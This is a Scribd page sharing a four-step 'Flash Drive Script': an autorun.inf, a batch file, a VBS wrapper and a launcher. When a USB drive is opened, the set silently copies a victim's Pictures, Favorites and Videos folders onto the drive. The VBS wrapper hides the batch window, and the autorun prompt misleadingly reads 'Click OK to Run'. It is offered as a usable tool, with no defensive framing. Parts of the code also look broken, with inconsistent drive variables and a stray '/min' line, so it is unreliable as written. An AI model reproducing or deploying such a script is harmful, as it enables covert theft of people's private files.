0% found this document useful (0 votes)
8 views

Flash Drive Script

Uploaded by

felix
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
8 views

Flash Drive Script

Uploaded by

felix
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

1 # ‫خطوة‬

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat

------------------autorun.inf---------------------------

2 # ‫خطوة‬

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off
cls

--------------------file.bat------------------------------

3 # ‫خطوة‬

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

--------------------invisible.vbs--------------------------

4 # ‫خطوة‬

wscript.exe \invisible.vbs file.bat

----------------------launch.bat-----------------------------

You might also like